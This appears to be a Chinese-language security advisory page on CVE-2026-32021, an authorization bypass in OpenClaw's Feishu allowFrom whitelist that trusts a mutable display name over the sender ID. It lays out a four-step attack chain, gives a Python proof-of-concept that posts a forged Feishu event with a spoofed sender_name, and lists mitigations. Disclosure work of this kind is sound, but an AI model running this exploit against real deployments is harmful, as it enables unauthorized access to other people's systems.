IPBUF安全漏洞报告
English
CVE-2026-32021 CVSS 6.5 中危

CVE-2026-32021 OpenClaw授权绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32021
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

授权绕过OpenClaw身份验证缺陷CVSS-6.5Feishu

漏洞概述

OpenClaw 在 2026.2.22 版本之前的版本中存在一个授权绕过漏洞。该漏洞位于飞书 allowFrom 白名单实现机制中。由于系统错误地接受可变的发送者显示名称,而非强制执行仅匹配 ID 的验证逻辑,攻击者可以将自己的显示名称设置为白名单中的 ID 字符串。利用此漏洞,攻击者可以绕过授权检查,从而在无需认证的情况下获取未授权的访问权限,导致系统机密性和完整性受到低程度影响。

技术细节

该漏洞的根本原因是 OpenClaw 在验证来自飞书的请求来源时,存在逻辑缺陷。正常的安全实现应当验证请求中不可变的唯一标识符(如 Open ID 或 User ID)。然而,受影响的版本仅检查了可变的“显示名称”字段。攻击者通过侦察获取白名单中允许的 ID 字符串后,只需将自己账号的显示名称修改为该 ID 字符串。当向 OpenClaw 发送请求时,由于验证逻辑将攻击者的显示名称与白名单 ID 进行比对并发现匹配,系统便错误地认为请求来自受信任的合法用户。这种利用元数据(显示名)替代实体标识符(ID)进行安全决策的缺陷,使得攻击者能够伪造身份并绕过 allowFrom 限制。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是存在漏洞的 OpenClaw 版本,并通过社会工程学或公开信息获取配置在 allowFrom 白名单中的受信任 ID 字符串。
STEP 2
2. 身份伪造
攻击者将自己的飞书账号或模拟请求中的显示名称修改为白名单中的受信任 ID 字符串。
STEP 3
3. 发送恶意请求
攻击者向 OpenClaw 接口发送包含伪造显示名称的请求。
STEP 4
4. 绕过验证
OpenClaw 的缺陷验证逻辑将伪造的显示名称与白名单匹配,认为请求来源合法,从而允许攻击者执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-32021 Demonstrates authorization bypass by spoofing the sender display name. """ import requests import json def exploit_poc(target_url, trusted_whitelist_id): """ Simulates a request to OpenClaw with a forged display name. :param target_url: The URL of the OpenClaw endpoint. :param trusted_whitelist_id: The ID string present in the allowFrom configuration. """ headers = {'Content-Type': 'application/json'} # Construct a malicious payload mimicking a Feishu event # The key vulnerability is that the system checks 'name' instead of 'user_id' payload = { "token": "dummy_token", "challenge": "challenge_code", "event": { "sender": { "sender_id": { "open_id": "ou_attacker_real_id", "user_id": "attacker_real_id" }, # VULNERABILITY: Setting the mutable display name to the trusted ID "sender_name": trusted_whitelist_id, "type": "user" }, "message": { "content": "Unauthorized command execution attempt" } } } print(f"[*] Sending payload to {target_url}...") print(f"[*] Forged sender_name to: {trusted_whitelist_id}") try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Request accepted.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8080/api/feishu/callback" # Assume 'ou_admin123' is the ID in the allowFrom whitelist trusted_id = "ou_admin123" exploit_poc(target, trusted_id)

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
如果无法立即升级,建议在网络层配置严格的访问控制策略(如 IP 白名单),仅允许飞书官方服务器的 IP 地址访问 OpenClaw 的 Webhook 接口。此外,应临时禁用依赖 allowFrom 白名单的关键功能,直至漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表